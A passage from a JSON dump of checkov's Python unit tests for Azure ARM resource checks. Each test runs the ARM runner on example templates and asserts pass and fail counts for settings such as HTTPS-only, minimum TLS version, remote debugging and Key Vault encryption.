\"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceFTPSState.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AppServiceFTPSState import check\n\n\nclass TestAppServiceFTPSState(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceFTPSState\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Web/sites.pass',\n            'Microsoft.Web/sites.pass2',\n            'Microsoft.Web/sites.pass3'\n        }\n        failing_resources = {\n            'Microsoft.Web/sites.fail',\n            'Microsoft.Web/sites.fail2',\n            'Microsoft.Web/sites.fail3'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceHTTPSOnly.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AppServiceHTTPSOnly import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceHTTPSOnly(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppServiceHTTPSOnly\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceHttpLoggingEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceHttpLoggingEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceHttpLoggingEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceHttpLoggingEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.passed\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.failed\",\n            \"Microsoft.Web/sites/config.failed2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceHttps20Enabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceHttps20Enabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceHttps20Enabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceHttps20Enabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.enabled\",\n            \"Microsoft.Web/sites.enabled_newer\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.default\",\n            \"Microsoft.Web/sites.disabled\",\n            \"Microsoft.Web/sites.null\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceIdentity.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AppServiceIdentity import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceIdentity(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppServiceIdentity\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceIdentityProviderEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AppServiceIdentityProviderEnabled import check\n\n\nclass TestAppServiceIdentityProviderEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceIdentityProviderEnabled\")\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n         \"Microsoft.Web/sites.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n        }\n\n\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceInstanceMinimum.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServiceInstanceMinimum import check\n\n\nclass TestAppServiceInstanceMinimum(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceInstanceMinimum\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites/slots.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites.unknown\",\n            \"Microsoft.Web/sites/slots.fail2\",\n            \"Microsoft.Web/sites/slots.unknown2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceJavaVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AppServiceJavaVersion import check\n\n\nclass TestAppServiceJavaVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceJavaVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Web/sites.pass',\n        }\n        failing_resources = {\n            'Microsoft.Web/sites.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceMinTLSVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceMinTLSVersion(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceMinTLSVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.tls-12\",\n            \"Microsoft.Web/sites.tls-13\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.default\",\n            \"Microsoft.Web/sites.tls-11\",\n            \"Microsoft.Web/sites.null\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServicePHPVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServicePHPVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServicePHPVersion(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServicePHPVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServicePlanZoneRedundant.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServicePlanZoneRedundant import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServicePlanZoneRedundant(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServicePlanZoneRedundant\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/serverfarms.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/serverfarms.fail\",\n            \"Microsoft.Web/serverfarms.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServicePublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServicePublicAccessDisabled import check\n\n\nclass TestAppServicePublicAccessDisabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServicePublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.linuxPass\",\n            \"Microsoft.Web/sites.windowsPass\",\n            \"Microsoft.Web/sites/slots.slotPass\",\n            \"Microsoft.Web/sites/config.configPass\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.linuxDefault\",\n            \"Microsoft.Web/sites.windowsDefault\",\n            \"Microsoft.Web/sites.linuxFail\",\n            \"Microsoft.Web/sites.windowsFail\",\n            \"Microsoft.Web/sites/slots.slotFail\",\n            \"Microsoft.Web/sites/config.configFail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServicePythonVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServicePythonVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServicePythonVersion(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServicePythonVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites.unknown\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceRemoteDebuggingNotEnabled.py",
    "content": "import os\nimport unittest\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AppServiceRemoteDebuggingNotEnabled import check\n\n\nclass TestAppServiceRemoteDebuggingNotEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceRemoteDebuggingNotEnabled\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites.pass1\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceSetHealthCheck.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServiceSetHealthCheck import check\n\n\nclass TestAppServiceSetHealthCheck(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSetHealthCheck\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites/slots.pass2\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites/slots.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceSlotDebugDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServiceSlotDebugDisabled import check\n\n\nclass TestAppServiceSlotDebugDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSlotDebugDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites/slots.pass2\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites/slots.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceSlotHTTPSOnly.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServiceSlotHTTPSOnly import check\n\n\nclass TestAppServiceSlotHTTPSOnly(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSlotHTTPSOnly\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n            \"Microsoft.Web/sites/slots.pass2\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n            \"Microsoft.Web/sites/slots.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceUsedAzureFiles.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceUsedAzureFiles import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceUsedAzureFiles(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceUsedAzureFiles\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.passed\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.failed\",\n            \"Microsoft.Web/sites/config.failed2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AutomationEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AutomationEncrypted import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAutomationEncrypted(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AutomationEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Automation/automationAccounts/variables.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Automation/automationAccounts/variables.fail\",\n            \"Microsoft.Automation/automationAccounts/variables.fail1\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureBatchAccountEndpointAccessDefaultAction.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.AzureBatchAccountEndpointAccessDefaultAction import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.check_assertion_utils import checks_report_assertions\n\n\nclass TestAzureBatchAccountEndpointAccessDefaultAction(unittest.TestCase):\n    def test_summary(self):\n        passing_resources = {\n            \"Microsoft.Batch/batchAccounts.pass_empty\",\n            \"Microsoft.Batch/batchAccounts.pass_publicNetworkAccess_disabled\",\n            \"Microsoft.Batch/batchAccounts.pass_publicNetworkAccess_enabled_no_network_profile\",\n            \"Microsoft.Batch/batchAccounts.pass_publicNetworkAccess_enabled_no_account_access\",\n            \"Microsoft.Batch/batchAccounts.pass_publicNetworkAccess_enabled_default_action_deny\",\n        }\n        failing_resources = {\n            \"Microsoft.Batch/batchAccounts.fail_explicit_publicNetworkAccess\":\n                [\"properties/networkProfile/accountAccess/defaultAction\"],\n            \"Microsoft.Batch/batchAccounts.fail_default_publicNetworkAccess\":\n                [\"properties/networkProfile/accountAccess/defaultAction\"],\n        }\n\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureBatchAccountEndpointAccessDefaultAction.py\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        checks_report_assertions(self, report, passing_resources, failing_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureBatchAccountUsesKeyVaultEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.AzureBatchAccountUsesKeyVaultEncryption import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureBatchAccountUsesKeyVaultEncryption(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureBatchAccountUsesKeyVaultEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Batch/batchAccounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Batch/batchAccounts.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureDataExplorerDoubleEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.AzureDataExplorerDoubleEncryptionEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureDataExplorerDoubleEncryptionEnabled(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureDataExplorerDoubleEncryptionEnabled\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        passing_resources = {\n            \"Microsoft.Kusto/clusters.pass\"\n        }\n        failing_resources = {\n            \"Microsoft.Kusto/clusters.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        assert summary[\"passed\"] == len(passing_resources)\n        assert summary[\"failed\"] == len(failing_resources)\n        assert summary[\"skipped\"] == 0\n        assert summary[\"parsing_errors\"] == 0\n\n        assert passed_check_resources == passing_resources\n        assert failed_check_resources == failing_resources\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureDefenderOnKeyVaults.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.AzureDefenderOnKeyVaults import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureDefenderOnKeyVaults(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureDefenderOnKeyVaults\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Security/pricings.KeyVaults\",\n        }\n        failing_resources = {\n            \"Microsoft.Security/pricings.KeyVaults\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureDefenderOnKubernetes.py",
